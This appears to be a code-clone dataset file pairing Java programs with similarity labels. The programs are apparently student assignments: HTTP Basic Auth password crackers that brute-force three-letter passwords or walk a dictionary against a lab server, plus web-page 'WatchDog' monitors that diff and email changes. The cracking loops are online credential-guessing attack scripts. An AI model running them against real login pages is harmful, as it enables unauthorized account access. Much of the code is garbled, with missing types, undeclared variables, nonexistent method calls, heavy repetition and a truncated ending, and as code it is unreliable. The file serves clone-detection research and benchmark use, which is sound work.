public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
226.java | 201.java | 0 |
import java.io.*;
import java.net.*;
import javax.swing.Timer;
import java.awt.event.*;
import javax.swing.JOptionPane;
public class WatchDog
{
private static Process pro = null;
private static Runtime run = Runtime.getRuntime();
public static void main(String[] args)
{
String cmd = null;
try
{
cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/");
pro = run.exec(cmd);
System.out.println(cmd);
}
catch (IOException e)
{
}
class Watch implements ActionListener
{
BufferedReader in = null;
String str = null;
Socket socket;
public void actionPerformed (ActionEvent event)
{
try
{
System.out.println("in Watch!");
String cmd = new String();
int ERROR = 1;
cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/");
System.out.println(cmd);
cmd = new String("diff original.txt new.txt");
pro = run.exec(cmd);
System.out.println(cmd);
in = new BufferedReader(new InputStreamReader(pro.getInputStream()));
if (((str=in.readLine())!=null)&&(!str.endsWith("d0")))
{
System.out.println(str);
try
{
socket = new Socket("yallara.cs.rmit.edu.",25);
PrintWriter output = new PrintWriter(socket.getOutputStream(),true);
String linetobesent = null;
BufferedReader getin = null;
try
{
FileReader = new FileReader("template.txt");
getin = new BufferedReader();
while (!(linetobesent=getin.readLine()).equals(""))
{
System.out.println(linetobesent);
output.println(linetobesent);
}
output.println("Orignail Line .s C New Line .s " + str);
while ((linetobesent=in.readLine())!=null)
{
output.println(linetobesent);
System.out.println(linetobesent);
}
while ((linetobesent=getin.readLine())!=null)
{
output.println(linetobesent);
System.out.println(linetobesent);
}
cmd = new String("cp new.txt original.txt");
System.out.println(cmd);
pro = run.exec(cmd);
}
catch (IOException ex)
{
System.out.println(ex);
}
catch (Exception ex)
{
System.out.println(ex);
System.exit(ERROR);
}
finally
{
try
{
if (getin!= null)
getin.read();
}
catch (IOException e) {}
}
}
catch (UnknownHostException e)
{
System.out.println(e);
System.exit(ERROR);
}
catch (IOException e)
{
System.out.println(e);
System.exit(ERROR);
}
}
else
System.out.println("string is empty");
}
catch (IOException exc)
{
}
}
}
Watch listener = new Watch();
Timer t = new Timer(null,listener);
t.close();
JOptionPane.showMessageDialog(null,"Exit WatchDog program?");
System.exit(0);
}
}
|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
085.java | 201.java | 0 |
import java.Thread;
import java.io.*;
import java.net.*;
public class Dictionary extends Thread {
final static int SUCCESS=1,
FAILED=0,
UNKNOWN=-1;
private static String host,
path,
user;
private Socket target;
private InputStream input;
private OutputStream output;
private byte[] data;
private int threads,
threadno,
response;
public static boolean solved = false;
Dictionary parent;
static LineNumberReader lnr;
public Dictionary(String host, String path, String user, int threads, int threadno, Dictionary parent, LineNumberReader lnr)
{
super();
this.parent = parent;
this.host = host;
this.path = path;
this.user = user;
this.threads = threads;
this.threadno = threadno;
}
public void run()
{
response = FAILED;
int x = 0;
String word = "";
starttime = System.currentTimeMillis();
try
{
boolean passwordOkay;
while(word != null && !parent.solved)
{
passwordOkay = false;
while(!passwordOkay || word == null)
{
word = lnr.readLine();
passwordOkay = true;
if(word.length() != 3) passwordOkay = false;
}
response = tryLogin(word);
x++;
if(response == SUCCESS)
{
System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ word);
parent.solved = true;
}
if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ word +")");
}
}
catch(Exception e)
{
System.err.println("Error while from dictionary: " + e.getClass().getName() + ": " + e.getMessage());
}
if(response == SUCCESS)
{
System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec.");
System.out.println("Thread . " + threadno + " was the one!");
}
}
public static void main (String[] args)
{
Dictionary parent;
try
{
lnr = new LineNumberReader(new FileReader("/usr/share/lib/dict/words"));
}
catch(Exception e)
{
System.err.println("Error while loading dictionary: " + e.getClass().getName() + ": " + e.getMessage());
}
Dictionary[] attackslaves = new Dictionary[10];
if(args.length == 3)
{
host = args[0];
path = args[1];
user = args[2];
}
else
{
System.out.println("Usage: Dictionary <host> <path> <user>");
System.out.println(" arguments specified, using standard values.");
host = "sec-crack.cs.rmit.edu.";
path = "/SEC/2/index.php";
user = "";
}
System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user);
System.out.println("Using " + attackslaves.length + " happy threads...");
parent = new Dictionary(host, path, user, 0, 0, null, lnr);
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i] = new Dictionary(host, path, user, attackslaves.length, i, parent, lnr);
}
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i].print();
}
}
private int tryLogin(String password)
{
int success = UNKNOWN;
try
{
data = new byte[12];
target = new Socket(host, 80);
input = target.getInputStream();
output = target.getOutputStream();
String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes());
output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes());
output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes());
input.print(data);
if(new String(data).endsWith("401")) success=0;
if(new String(data).endsWith("200")) success=1;
}
catch(Exception e)
{
System.out.println(e.getClass().getName() + ": " + e.getMessage());
}
return success;
}
} |
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
215.java | 201.java | 0 |
import java.Runtime;
import java.io.*;
public class differenceFile
{
StringWriter sw =null;
PrintWriter pw = null;
public differenceFile()
{
sw = new StringWriter();
pw = new PrintWriter();
}
public String compareFile()
{
try
{
Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");
InputStream write = sw.getInputStream();
BufferedReader bf = new BufferedReader (new InputStreamReader(write));
String line;
while((line = bf.readLine())!=null)
pw.println(line);
if((sw.toString().trim()).equals(""))
{
System.out.println(" difference");
return null;
}
System.out.println(sw.toString().trim());
}catch(Exception e){}
return sw.toString().trim();
}
} |
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
131.java | 201.java | 0 |
import java.io.*;
import java.net.*;
public class BruteForce
{
private String myUsername = "";
private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";
private int NUM_CHARS = 52;
public static void main(String args[])
{
BruteForce bf = new BruteForce();
}
public BruteForce()
{
generatePassword();
}
public void generatePassword()
{
int index1 = 0, index2, index3;
char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',
'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };
while(index1 < NUM_CHARS)
{
index2 = 0;
while(index2 < NUM_CHARS)
{
index3 = 0;
while(index3 < NUM_CHARS)
{
crackPassword(new String("" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3]));
index3++;
}
index2++;
}
index1++;
}
}
public void crackPassword(String passwordToCrack)
{
String data, dataToEncode, encodedData;
try
{
URL url = new URL (urlToCrack);
dataToEncode = myUsername + ":" + passwordToCrack;
encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes());
URLConnection urlCon = url.openConnection();
urlCon.setRequestProperty("Authorization", " " + encodedData);
InputStream is = (InputStream)urlCon.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader bf = new BufferedReader(isr);
{
data = bf.readLine();
System.out.println(data);
displayPassword(passwordToCrack);
} while (data != null);
}
catch (IOException e)
{ }
}
public void displayPassword(String foundPassword)
{
System.out.println("\nThe cracked password is : " + foundPassword);
System.exit(0);
}
}
|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
017.java | 201.java | 0 |
import javax.swing.*;
public class Dictionary
{
public static void main( String args[] )
{
PasswordCombination pwdCombination;
pwdCombination = new PasswordCombination();
}
}
|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
077.java | 201.java | 0 |
import java.io.*;
import java.net.*;
public class Dictionary
{
public static void main (String args[]) throws IOException,
MalformedURLException
{
final String username = "";
final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";
final String dictfile = "/usr/share/lib/dict/words";
String temppass;
String password = "";
URL url = new URL(fullurl);
boolean cracked = false;
startTime = System.currentTimeMillis();
BufferedReader r = new BufferedReader(new FileReader(dictfile));
while((temppass = r.readLine()) != null && !cracked)
{
if(temppass.length() <= 3)
{
if(isAlpha(temppass))
{
Authenticator.setDefault(new MyAuthenticator(username,temppass));
try{
BufferedReader x = new BufferedReader(new InputStreamReader(
url.openStream()));
cracked = true;
password = temppass;
} catch(Exception e){}
}
}
}
stopTime = System.currentTimeMillis();
if(!cracked)
System.out.println("Sorry, couldnt find the password");
else
System.out.println("Password found: "+password);
System.out.println("Time taken: "+(stopTime-startTime));
}
public static boolean isAlpha(String s)
{
boolean v = true;
for(int i=0; i<s.length(); i++)
{
if(!Character.isLetter(s.charAt(i)))
v = false;
}
return ;
}
}
|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
133.java | 201.java | 0 |
import java.net.*;
import java.io.*;
public class Dictionary
{
private String myUsername = "";
private String myPassword = "";
private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";
public static void main (String args[])
{
Dictionary d = new Dictionary();
}
public Dictionary()
{
generatePassword();
}
public void generatePassword()
{
try
{
BufferedReader = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
{
myPassword = bf.readLine();
crackPassword(myPassword);
} while (myPassword != null);
}
catch(IOException e)
{ }
}
public void crackPassword(String passwordToCrack)
{
String data, dataToEncode, encodedData;
try
{
URL url = new URL (urlToCrack);
dataToEncode = myUsername + ":" + passwordToCrack;
encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());
URLConnection urlCon = url.openConnection();
urlCon.setRequestProperty ("Authorization", " " + encodedData);
InputStream is = (InputStream)urlCon.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader bf = new BufferedReader (isr);
{
data = bf.readLine();
System.out.println(data);
displayPassword(passwordToCrack);
} while (data != null);
}
catch (IOException e)
{ }
}
public void displayPassword(String foundPassword)
{
System.out.println("\nThe cracked password is : " + foundPassword);
System.exit(0);
}
}
|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
174.java | 201.java | 0 |
import java.util.*;
import java.io.*;
public class MyTimer
{
public static void main(String args[])
{
Watchdog watch = new Watchdog();
Timer time = new Timer();
time.schedule(watch,864000000,864000000);
}
}
|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
218.java | 201.java | 0 |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
Process p1,p2,p3,p4,p5;
for(;;)
{
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"Part 2-Assignment2 \" < change.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};
String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
Process p = Runtime.getRuntime().exec("mkdir predir");
p.waitFor();
Process p1 = Runtime.getRuntime().exec("mkdir postdir");
p1.waitFor();
p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process q2 = Runtime.getRuntime().exec(s2);
q2.waitFor();
Process q3 = Runtime.getRuntime().exec(s3);
q2.waitFor();
Thread.sleep(86400000);
p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process q4 = Runtime.getRuntime().exec(s4);
q4.waitFor();
Process q5 = Runtime.getRuntime().exec(s5);
q5.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s6);
DataInputStream inp1 = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("The WatchDog - Returns 0 if change else 1");
System.out.println("Value :" + p4.exitValue());
try
{
while ((str = inp1.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
